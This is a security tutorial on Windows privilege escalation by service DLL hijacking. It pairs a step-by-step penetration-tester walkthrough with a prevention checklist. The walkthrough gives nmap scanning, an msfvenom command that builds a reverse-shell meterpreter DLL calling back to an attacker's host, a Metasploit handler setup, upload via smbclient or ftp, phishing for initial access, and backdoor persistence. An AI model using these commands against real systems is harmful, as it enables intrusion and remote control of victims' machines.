Windows Priviledge Escalation using Service DLL Hijacking

Introduction

DLL Hijacking is a technique used by cyber attackers to manipulate a trusted application into loading a malicious DLL (Dynamic Link Library). This can lead to code execution, persistence, and even privilege escalation. Understanding how this attack is carried out and taking preventive measures is crucial for maintaining system security.

Attack Scenario: Service DLL Hijacking

Scenario Overview

Imagine a scenario where an organization uses a third-party application called "AppX" for internal processes. An attacker discovers that AppX loads a DLL named helper.dll from the application's installation directory. However, the application does not verify the integrity of this DLL before loading it.

Step-by-Step Attack from a Penetration Tester’s Perspective Using Kali Linux

1. Reconnaissance:

- Objective: Identify potential applications and services running on the target system.

- Actions:

- Use network scanning tools like Nmap to discover open ports and running services.

nmap -sS -p- <target_ip>

- Perform enumeration using tools like Nessus to gather information about installed applications and their versions.

2. Identifying Vulnerability:

- Objective: Find an application that loads DLLs without verifying their integrity.

- Actions:

- Analyze the application's behavior using tools like Process Monitor (Procmon) to monitor DLL loading activity. (Note: Procmon is a Windows tool and needs to be run on a Windows system)

- Identify that AppX loads helper.dll from its installation directory.

3. Creating Malicious DLL:

- Objective: Create a DLL that performs malicious actions when loaded.

- Actions:

- Write a DLL in a programming language like C or C++ that executes a reverse shell payload.

- Use msfvenom to generate a malicious DLL payload.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f dll > helper.dll

4. Gaining Initial Access:

- Objective: Gain access to the target system to place the malicious DLL.

- Actions:

- Use phishing or social engineering techniques to trick a user into running a malicious attachment or link.

- Exploit an unpatched vulnerability on the target system to gain a foothold using exploit-db and Metasploit.

searchsploit <software_name>

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST <your_ip>

set LPORT <your_port>

exploit

5. Planting the Malicious DLL:

- Objective: Replace the legitimate helper.dll with the malicious version.

- Actions:

- Upload the malicious helper.dll to the target system using tools like smbclient or ftp.

smbclient \\\\target_ip\\share

or

ftp target_ip

- Navigate to the installation directory of AppX and replace the legitimate helper.dll with the malicious one.

put helper.dll

6. Triggering the Exploit:

- Objective: Get the application to load the malicious DLL.

- Actions:

- Ensure that the user runs AppX, which will load the malicious helper.dll.

- The malicious DLL executes, establishing a reverse shell connection to the attacker's remote server.

7. Maintaining Persistence:

- Objective: Ensure continued access to the compromised system.

- Actions:

- Use the reverse shell to create additional backdoors or add user accounts with administrative privileges.

- Pivot to other systems within the network to expand the attacker's foothold.

Steps to Prevent DLL Hijacking

1. Use Digital Signatures:

- Ensure all DLLs are digitally signed to verify their authenticity. This can be enforced by configuring the system to only load signed DLLs.

2. Implement Least Privilege Principle:

- Run applications with the minimum necessary privileges. This limits the ability of an attacker to replace or create DLLs in directories that are searched by the application.

3. Regularly Update Software:

- Keep all software and applications up to date with the latest security patches. Vulnerabilities that could be exploited for DLL hijacking are often fixed in updates.

4. Use Advanced Tools:

- Employ third-party tools designed to detect and prevent DLL hijacking, such as intrusion detection systems (IDS) and endpoint protection platforms.

5. Monitor DLL Loading:

- Use tools like Process Monitor to monitor the loading behavior of DLLs by applications. Investigate any unusual DLL load activities.

6. Secure DLL Search Paths:

- Configure your system to secure DLL search paths. Avoid placing application directories in the system %PATH% and ensure that search paths are not writable by untrusted users.

Conclusion

DLL Hijacking is a sophisticated attack that can have serious consequences if not properly mitigated. By understanding how it is done and implementing robust preventive measures, organizations can significantly reduce the risk of falling victim to this type of cyber attack.

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